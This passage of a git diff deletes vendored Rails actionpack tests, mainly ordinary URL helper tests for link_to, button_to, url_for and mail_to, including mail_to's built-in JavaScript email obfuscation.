-  def test_url_for_escapes_urls
-    @controller.url = "http://www.example.com?a=b&c=d"
-    assert_equal "http://www.example.com?a=b&amp;c=d", url_for(:a => 'b', :c => 'd')
-    assert_equal "http://www.example.com?a=b&amp;c=d", url_for(:a => 'b', :c => 'd', :escape => true)
-    assert_equal "http://www.example.com?a=b&c=d", url_for(:a => 'b', :c => 'd', :escape => false)
-  end
-
-  def test_url_for_escapes_url_once
-    @controller.url = "http://www.example.com?a=b&amp;c=d"
-    assert_equal "http://www.example.com?a=b&amp;c=d", url_for("http://www.example.com?a=b&amp;c=d")
-  end
-
-  def test_url_for_with_back
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {'HTTP_REFERER' => 'http://www.example.com/referer'})
-    assert_equal 'http://www.example.com/referer', url_for(:back)
-  end
-
-  def test_url_for_with_back_and_no_referer
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {})
-    assert_equal 'javascript:history.back()', url_for(:back)
-  end
-
-  # todo: missing test cases
-  def test_button_to_with_straight_url
-    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com")
-  end
-
-  def test_button_to_with_query
-    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com/q1=v1&amp;q2=v2\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
-  end
-
-  def test_button_to_with_escaped_query
-    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com/q1=v1&amp;q2=v2\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2")
-  end
-
-  def test_button_to_with_query_and_no_name
-    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com?q1=v1&amp;q2=v2\" class=\"button-to\"><div><input type=\"submit\" value=\"http://www.example.com?q1=v1&amp;q2=v2\" /></div></form>", button_to(nil, "http://www.example.com?q1=v1&q2=v2")
-  end
-
-  def test_button_to_with_javascript_confirm
-    assert_dom_equal(
-      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input onclick=\"return confirm('Are you sure?');\" type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
-    )
-  end
-
-  def test_button_to_enabled_disabled
-    assert_dom_equal(
-      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :disabled => false)
-    )
-    assert_dom_equal(
-      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input disabled=\"disabled\" type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :disabled => true)
-    )
-  end
-
-  def test_button_to_with_method_delete
-    assert_dom_equal(
-      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"hidden\" name=\"_method\" value=\"delete\" /><input type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :method => :delete)
-    )
-  end
-
-  def test_button_to_with_method_get
-    assert_dom_equal(
-      "<form method=\"get\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :method => :get)
-    )
-  end
-
-  def test_button_to_returns_an_html_safe_string
-    assert button_to("Hello", "http://www.example.com").html_safe?
-  end
-
-  def test_link_tag_with_straight_url
-    assert_dom_equal "<a href=\"http://www.example.com\">Hello</a>", link_to("Hello", "http://www.example.com")
-  end
-
-  def test_link_tag_without_host_option
-    ActionController::Base.class_eval { attr_accessor :url }
-    url = {:controller => 'weblog', :action => 'show'}
-    @controller = ActionController::Base.new
-    @controller.request = ActionController::TestRequest.new
-    @controller.url = ActionController::UrlRewriter.new(@controller.request, url)
-    assert_dom_equal(%q{<a href="/weblog/show">Test Link</a>}, link_to('Test Link', url))
-  end
-
-  def test_link_tag_with_host_option
-    ActionController::Base.class_eval { attr_accessor :url }
-    url = {:controller => 'weblog', :action => 'show', :host => 'www.example.com'}
-    @controller = ActionController::Base.new
-    @controller.request = ActionController::TestRequest.new
-    @controller.url = ActionController::UrlRewriter.new(@controller.request, url)
-    assert_dom_equal(%q{<a href="http://www.example.com/weblog/show">Test Link</a>}, link_to('Test Link', url))
-  end
-
-  def test_link_tag_with_query
-    assert_dom_equal "<a href=\"http://www.example.com?q1=v1&amp;q2=v2\">Hello</a>", link_to("Hello", "http://www.example.com?q1=v1&amp;q2=v2")
-  end
-
-  def test_link_tag_with_query_and_no_name
-    assert_dom_equal "<a href=\"http://www.example.com?q1=v1&amp;q2=v2\">http://www.example.com?q1=v1&amp;q2=v2</a>", link_to(nil, "http://www.example.com?q1=v1&amp;q2=v2")
-  end
-
-  def test_link_tag_with_back
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {'HTTP_REFERER' => 'http://www.example.com/referer'})
-    assert_dom_equal "<a href=\"http://www.example.com/referer\">go back</a>", link_to('go back', :back)
-  end
-
-  def test_link_tag_with_back_and_no_referer
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {})
-    assert_dom_equal "<a href=\"javascript:history.back()\">go back</a>", link_to('go back', :back)
-  end
-
-  def test_link_tag_with_back
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {'HTTP_REFERER' => 'http://www.example.com/referer'})
-    assert_dom_equal "<a href=\"http://www.example.com/referer\">go back</a>", link_to('go back', :back)
-  end
-
-  def test_link_tag_with_back_and_no_referer
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {})
-    assert_dom_equal "<a href=\"javascript:history.back()\">go back</a>", link_to('go back', :back)
-  end
-
-  def test_link_tag_with_img
-    assert_dom_equal "<a href=\"http://www.example.com\"><img src='/favicon.jpg' /></a>", link_to("<img src='/favicon.jpg' />", "http://www.example.com")
-  end
-
-  def test_link_with_nil_html_options
-    assert_dom_equal "<a href=\"http://www.example.com\">Hello</a>", link_to("Hello", {:action => 'myaction'}, nil)
-  end
-
-  def test_link_tag_with_custom_onclick
-    assert_dom_equal "<a href=\"http://www.example.com\" onclick=\"alert('yay!')\">Hello</a>", link_to("Hello", "http://www.example.com", :onclick => "alert('yay!')")
-  end
-
-  def test_link_tag_with_javascript_confirm
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"return confirm('Are you sure?');\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
-    )
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"return confirm('You can\\'t possibly be sure, can you?');\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :confirm => "You can't possibly be sure, can you?")
-    )
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"return confirm('You can\\'t possibly be sure,\\n can you?');\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :confirm => "You can't possibly be sure,\n can you?")
-    )
-  end
-
-  def test_link_tag_with_popup
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"window.open(this.href);return false;\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :popup => true)
-    )
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"window.open(this.href);return false;\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :popup => 'true')
-    )
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"window.open(this.href,'window_name','width=300,height=300');return false;\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :popup => ['window_name', 'width=300,height=300'])
-    )
-  end
-
-  def test_link_tag_with_popup_and_javascript_confirm
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"if (confirm('Fo\\' sho\\'?')) { window.open(this.href); };return false;\">Hello</a>",
-      link_to("Hello", "http://www.example.com", { :popup => true, :confirm => "Fo' sho'?" })
-    )
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"if (confirm('Are you serious?')) { window.open(this.href,'window_name','width=300,height=300'); };return false;\">Hello</a>",
-      link_to("Hello", "http://www.example.com", { :popup => ['window_name', 'width=300,height=300'], :confirm => "Are you serious?" })
-    )
-  end
-
-  def test_link_tag_using_post_javascript
-    assert_dom_equal(
-      "<a href='http://www.example.com' onclick=\"var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;f.submit();return false;\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :method => :post)
-    )
-  end
-
-  def test_link_tag_using_delete_javascript
-    assert_dom_equal(
-      "<a href='http://www.example.com' onclick=\"var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m);f.submit();return false;\">Destroy</a>",
-      link_to("Destroy", "http://www.example.com", :method => :delete)
-    )
-  end
-
-  def test_link_tag_using_delete_javascript_and_href
-    assert_dom_equal(
-      "<a href='\#' onclick=\"var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com';var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m);f.submit();return false;\">Destroy</a>",
-      link_to("Destroy", "http://www.example.com", :method => :delete, :href => '#')
-    )
-  end
-
-  def test_link_tag_using_post_javascript_and_confirm
-    assert_dom_equal(
-      "<a href=\"http://www.example.com\" onclick=\"if (confirm('Are you serious?')) { var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;f.submit(); };return false;\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :method => :post, :confirm => "Are you serious?")
-    )
-  end
-
-  def test_link_tag_using_delete_javascript_and_href_and_confirm
-    assert_dom_equal(
-      "<a href='\#' onclick=\"if (confirm('Are you serious?')) { var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com';var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m);f.submit(); };return false;\">Destroy</a>",
-      link_to("Destroy", "http://www.example.com", :method => :delete, :href => '#', :confirm => "Are you serious?"),
-      "When specifying url, form should be generated with it, but not this.href"
-    )
-  end
-
-  def test_link_tag_using_post_javascript_and_popup
-    assert_raise(ActionView::ActionViewError) { link_to("Hello", "http://www.example.com", :popup => true, :method => :post, :confirm => "Are you serious?") }
-  end
-
-  def test_link_tag_using_block_in_erb
-    __in_erb_template = ''
-
-    link_to("http://example.com") { concat("Example site") }
-
-    assert_equal '<a href="http://example.com">Example site</a>', output_buffer
-  end
-
-  def test_link_to_unless
-    assert_equal "Showing", link_to_unless(true, "Showing", :action => "show", :controller => "weblog")
-    assert_dom_equal "<a href=\"http://www.example.com\">Listing</a>", link_to_unless(false, "Listing", :action => "list", :controller => "weblog")
-    assert_equal "Showing", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1)
-    assert_equal "<strong>Showing</strong>", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1) { |name, options, html_options|
-      "<strong>#{name}</strong>"
-    }
-    assert_equal "<strong>Showing</strong>", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1) { |name|
-      "<strong>#{name}</strong>"
-    }
-    assert_equal "test", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1) {
-      "test"
-    }
-  end
-
-  def test_link_to_if
-    assert_equal "Showing", link_to_if(false, "Showing", :action => "show", :controller => "weblog")
-    assert_dom_equal "<a href=\"http://www.example.com\">Listing</a>", link_to_if(true, "Listing", :action => "list", :controller => "weblog")
-    assert_equal "Showing", link_to_if(false, "Showing", :action => "show", :controller => "weblog", :id => 1)
-  end
-
-  def test_current_page_with_simple_url
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show")
-    @controller.url = "http://www.example.com/weblog/show"
-    assert current_page?({ :action => "show", :controller => "weblog" })
-    assert current_page?("http://www.example.com/weblog/show")
-  end
-  
-  def test_current_page_ignoring_params
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
-    @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
-    assert current_page?({ :action => "show", :controller => "weblog" })
-    assert current_page?("http://www.example.com/weblog/show")
-  end
-  
-  def test_current_page_with_params_that_match
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
-    @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
-    assert current_page?({ :action => "show", :controller => "weblog", :order => "desc", :page => "1" })
-    assert current_page?("http://www.example.com/weblog/show?order=desc&amp;page=1")
-  end
-  
-  def test_link_unless_current
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show")
-    @controller.url = "http://www.example.com/weblog/show"
-    assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
-    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show")
-
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc")
-    @controller.url = "http://www.example.com/weblog/show"
-    assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
-    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show")
-
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
-    @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
-    assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog", :order=>'desc', :page=>'1' })
-    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&amp;page=1")
-    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=1")
-
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc")
-    @controller.url = "http://www.example.com/weblog/show?order=asc"
-    assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
-    assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=asc")
-
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
-    @controller.url = "http://www.example.com/weblog/show?order=desc&page=2"
-    assert_equal "<a href=\"http://www.example.com/weblog/show?order=desc&amp;page=2\">Showing</a>", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
-    assert_equal "<a href=\"http://www.example.com/weblog/show?order=desc&amp;page=2\">Showing</a>", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=2")
-
-
-    @controller.request = RequestMock.new("http://www.example.com/weblog/show")
-    @controller.url = "http://www.example.com/weblog/list"
-    assert_equal "<a href=\"http://www.example.com/weblog/list\">Listing</a>",
-      link_to_unless_current("Listing", :action => "list", :controller => "weblog")
-    assert_equal "<a href=\"http://www.example.com/weblog/list\">Listing</a>",
-      link_to_unless_current("Listing", "http://www.example.com/weblog/list")
-  end
-
-  def test_mail_to
-    assert_dom_equal "<a href=\"mailto:david@loudthinking.com\">david@loudthinking.com</a>", mail_to("david@loudthinking.com")
-    assert_dom_equal "<a href=\"mailto:david@loudthinking.com\">David Heinemeier Hansson</a>", mail_to("david@loudthinking.com", "David Heinemeier Hansson")
-    assert_dom_equal(
-      "<a class=\"admin\" href=\"mailto:david@loudthinking.com\">David Heinemeier Hansson</a>",
-      mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
-    )
-    assert_equal mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
-                 mail_to("david@loudthinking.com", "David Heinemeier Hansson", :class => "admin")
-  end
-
-  def test_mail_to_with_javascript
-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", "My email", :encode => "javascript")
-  end
-
-  def test_mail_to_with_javascript_unicode
-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%75%6e%69%63%6f%64%65%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%5c%22%3e%c3%ba%6e%69%63%6f%64%65%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("unicode@example.com", "únicode", :encode => "javascript")
-  end
-
-  def test_mail_with_options
-    assert_dom_equal(
-      %(<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email">My email</a>),
-      mail_to("me@example.com", "My email", :cc => "ccaddress@example.com", :bcc => "bccaddress@example.com", :subject => "This is an example email", :body => "This is the body of the message.")
-    )
-  end
-
-  def test_mail_to_with_img
-    assert_dom_equal %(<a href="mailto:feedback@example.com"><img src="/feedback.png" /></a>), mail_to('feedback@example.com', '<img src="/feedback.png" />'.html_safe)
-  end
-
-  def test_mail_to_with_hex
-    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">My email</a>", mail_to("me@domain.com", "My email", :encode => "hex")
-    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#64;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;</a>", mail_to("me@domain.com", nil, :encode => "hex")
-  end
-
-  def test_mail_to_with_replace_options
-    assert_dom_equal "<a href=\"mailto:wolfgang@stufenlos.net\">wolfgang(at)stufenlos(dot)net</a>", mail_to("wolfgang@stufenlos.net", nil, :replace_at => "(at)", :replace_dot => "(dot)")
-    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;</a>", mail_to("me@domain.com", nil, :encode => "hex", :replace_at => "(at)")
-    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">My email</a>", mail_to("me@domain.com", "My email", :encode => "hex", :replace_at => "(at)")
-    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#40;&#100;&#111;&#116;&#41;&#99;&#111;&#109;</a>", mail_to("me@domain.com", nil, :encode => "hex", :replace_at => "(at)", :replace_dot => "(dot)")
-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
-  end
-  
-  def protect_against_forgery?
-    false
-  end
-end
-
-class UrlHelperWithControllerTest < ActionView::TestCase
-  class UrlHelperController < ActionController::Base
-    def self.controller_path; 'url_helper_with_controller' end
-
-    def show_url_for
-      render :inline => "<%= url_for :controller => 'url_helper_with_controller', :action => 'show_url_for' %>"
-    end
-
-    def show_named_route
-      render :inline => "<%= show_named_route_#{params[:kind]} %>"
-    end
-
-    def nil_url_for
-      render :inline => '<%= url_for(nil) %>'
-    end
-
-    def rescue_action(e) raise e end
-  end
-
-  tests ActionView::Helpers::UrlHelper
-
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = UrlHelperController.new
-  end
-
-  def test_url_for_shows_only_path
-    get :show_url_for
-    assert_equal '/url_helper_with_controller/show_url_for', @response.body
-  end
-
-  def test_named_route_url_shows_host_and_path
-    with_url_helper_routing do
-      get :show_named_route, :kind => 'url'
-      assert_equal 'http://test.host/url_helper_with_controller/show_named_route', @response.body
-    end
-  end
-
-  def test_named_route_path_shows_only_path
-    with_url_helper_routing do
-      get :show_named_route, :kind => 'path'
-      assert_equal '/url_helper_with_controller/show_named_route', @response.body
-    end
-  end
-
-  def test_url_for_nil_returns_current_path
-    get :nil_url_for
-    assert_equal '/url_helper_with_controller/nil_url_for', @response.body
-  end
-
-  def test_named_route_should_show_host_and_path_using_controller_default_url_options
-    class << @controller
-      def default_url_options(options = nil)
-        {:host => 'testtwo.host'}
-      end
-    end
-
-    with_url_helper_routing do
-      get :show_named_route, :kind => 'url'
-      assert_equal 'http://testtwo.host/url_helper_with_controller/show_named_route', @response.body
-    end
-  end
-
-  protected
-    def with_url_helper_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.show_named_route 'url_helper_with_controller/show_named_route', :controller => 'url_helper_with_controller', :action => 'show_named_route'
-        end
-        yield
-      end
-    end
-end
-
-class LinkToUnlessCurrentWithControllerTest < ActionView::TestCase
-  class TasksController < ActionController::Base
-    def self.controller_path; 'tasks' end
-
-    def index
-      render_default
-    end
-
-    def show
-      render_default
-    end
-
-    def rescue_action(e) raise e end
-
-    protected
-      def render_default
-        render :inline =>
-          "<%= link_to_unless_current(\"tasks\", tasks_path) %>\n" +
-          "<%= link_to_unless_current(\"tasks\", tasks_url) %>"
-      end
-  end
-
-  tests ActionView::Helpers::UrlHelper
-
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = TasksController.new
-  end
-
-  def test_link_to_unless_current_to_current
-    with_restful_routing do
-      get :index
-      assert_equal "tasks\ntasks", @response.body
-    end
-  end
-
-  def test_link_to_unless_current_shows_link
-    with_restful_routing do
-      get :show, :id => 1
-      assert_equal "<a href=\"/tasks\">tasks</a>\n" +
-        "<a href=\"#{@request.protocol}#{@request.host_with_port}/tasks\">tasks</a>",
-        @response.body
-    end
-  end
-
-  protected
-    def with_restful_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.resources :tasks
-        end
-        yield
-      end
-    end
-end
-
-class Workshop
-  attr_accessor :id, :new_record
-
-  def initialize(id, new_record)
-    @id, @new_record = id, new_record
-  end
-
-  def new_record?
-    @new_record
-  end
-
-  def to_s
-    id.to_s
-  end
-end
-
-class Session
-  attr_accessor :id, :workshop_id, :new_record
-
-  def initialize(id, new_record)
-    @id, @new_record = id, new_record
-  end
-
-  def new_record?
-    @new_record
-  end
-
-  def to_s
-    id.to_s
-  end
-end
-
-class PolymorphicControllerTest < ActionView::TestCase
-  class WorkshopsController < ActionController::Base
-    def self.controller_path; 'workshops' end
-
-    def index
-      @workshop = Workshop.new(1, true)
-      render :inline => "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
-    end
-
-    def show
-      @workshop = Workshop.new(params[:id], false)
-      render :inline => "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
-    end
-
-    def rescue_action(e) raise e end
-  end
-
-  class SessionsController < ActionController::Base
-    def self.controller_path; 'sessions' end
-
-    def index
-      @workshop = Workshop.new(params[:workshop_id], false)
-      @session = Session.new(1, true)
-      render :inline => "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
-    end
-
-    def show
-      @workshop = Workshop.new(params[:workshop_id], false)
-      @session = Session.new(params[:id], false)
-      render :inline => "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
-    end
-
-    def show_workshop_of_nil_sessions
-      render :inline => "<%= workshop_sessions_path(nil) %>"
-    end
-
-    def rescue_action(e) raise e end
-  end
-
-  tests ActionView::Helpers::UrlHelper
-
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
-
-  def test_new_resource
-    @controller = WorkshopsController.new
-
-    with_restful_routing do
-      get :index
-      assert_equal "/workshops\n<a href=\"/workshops\">Workshop</a>", @response.body
-    end
-  end
-
-  def test_existing_resource
-    @controller = WorkshopsController.new
-
-    with_restful_routing do
-      get :show, :id => 1
-      assert_equal "/workshops/1\n<a href=\"/workshops/1\">Workshop</a>", @response.body
-    end
-  end
-
-  def test_new_nested_resource
-    @controller = SessionsController.new
-
-    with_restful_routing do
-      get :index, :workshop_id => 1
-      assert_equal "/workshops/1/sessions\n<a href=\"/workshops/1/sessions\">Session</a>", @response.body
-    end
-  end
-
-  def test_existing_nested_resource
-    @controller = SessionsController.new
-
-    with_restful_routing do
-      get :show, :workshop_id => 1, :id => 1
-      assert_equal "/workshops/1/sessions/1\n<a href=\"/workshops/1/sessions/1\">Session</a>", @response.body
-    end
-  end
-
-  def test_existing_nested_resource_with_nil_id
-    @controller = SessionsController.new
-
-    with_restful_routing do
-      assert_raise ActionController::RoutingError do
-        get :show_workshop_of_nil_sessions
-      end
-    end
-  end
-
-  protected
-    def with_restful_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.resources :workshops do |w|
-            w.resources :sessions
-          end
-          map.show_workshop_of_nil_sessions 'sessions/show_workshop_of_nil_sessions', :controller => 'sessions', :action => 'show_workshop_of_nil_sessions'
-        end
-        yield
-      end
-    end
-end
diff --git a/vendor/rails/actionpack/test/testing_sandbox.rb b/vendor/rails/actionpack/test/testing_sandbox.rb
deleted file mode 100644
index c3658510..00000000
--- a/vendor/rails/actionpack/test/testing_sandbox.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module TestingSandbox
-  # Temporarily replaces KCODE for the block
-  def with_kcode(kcode)
-    if RUBY_VERSION < '1.9'
-      old_kcode, $KCODE = $KCODE, kcode
-      begin
-        yield
-      ensure
-        $KCODE = old_kcode
-      end
-    else
-      yield
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/view/test_case_test.rb b/vendor/rails/actionpack/test/view/test_case_test.rb
deleted file mode 100644
index ace3ee4f..00000000
--- a/vendor/rails/actionpack/test/view/test_case_test.rb
+++ /dev/null
@@ -1,176 +0,0 @@
-require 'abstract_unit'
-
-module ActionView
-  class TestCase
-    module ATestHelper
-    end
-
-    module AnotherTestHelper
-      def from_another_helper
-        'Howdy!'
-      end
-    end
-
-    module ASharedTestHelper
-      def from_shared_helper
-        'Holla!'
-      end
-    end
-    helper ASharedTestHelper
-
-    module SharedTests
-      def self.included(test_case)
-        test_case.class_eval do
-          test "helpers defined on ActionView::TestCase are available" do
-            assert test_case.ancestors.include?(ASharedTestHelper)
-            assert_equal 'Holla!', from_shared_helper
-          end
-        end
-      end
-    end
-
-    class GeneralViewTest < ActionView::TestCase
-      include SharedTests
-      test_case = self
-
-      test "works without testing a helper module" do
-        assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
-      end
-
-      test "can render a layout with block" do
-        assert_equal "Before (ChrisCruft)\n!\nAfter",
-                      render(:layout => "test/layout_for_partial", :locals => {:name => "ChrisCruft"}) {"!"}
-      end
-
-      helper AnotherTestHelper
-      test "additional helper classes can be specified as in a controller" do
-        assert test_case.ancestors.include?(AnotherTestHelper)
-        assert_equal 'Howdy!', from_another_helper
-      end
-    end
-
-    class ClassMethodsTest < ActionView::TestCase
-      include SharedTests
-      test_case = self
-
-      tests ATestHelper
-      test "tests the specified helper module" do
-        assert_equal ATestHelper, test_case.helper_class
-        assert test_case.ancestors.include?(ATestHelper)
-      end
-
-      helper AnotherTestHelper
-      test "additional helper classes can be specified as in a controller" do
-        assert test_case.ancestors.include?(AnotherTestHelper)
-        assert_equal 'Howdy!', from_another_helper
-
-        test_case.helper_class.module_eval do
-          def render_from_helper
-            from_another_helper
-          end
-        end
-        assert_equal 'Howdy!', render(:partial => 'test/from_helper')
-      end
-    end
-
-    class ATestHelperTest < ActionView::TestCase
-      include SharedTests
-      test_case = self
-
-      test "inflects the name of the helper module to test from the test case class" do
-        assert_equal ATestHelper, test_case.helper_class
-        assert test_case.ancestors.include?(ATestHelper)
-      end
-
-      test "a configured test controller is available" do
-        assert_kind_of ActionController::Base, controller
-        assert_equal '', controller.controller_path
-      end
-
-      test "helper class that is being tested is always included in view instance" do
-        self.class.helper_class.module_eval do
-          def render_from_helper
-            render :partial => 'customer', :collection => @customers
-          end
-        end
-
-        TestController.stubs(:controller_path).returns('test')
-
-        @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
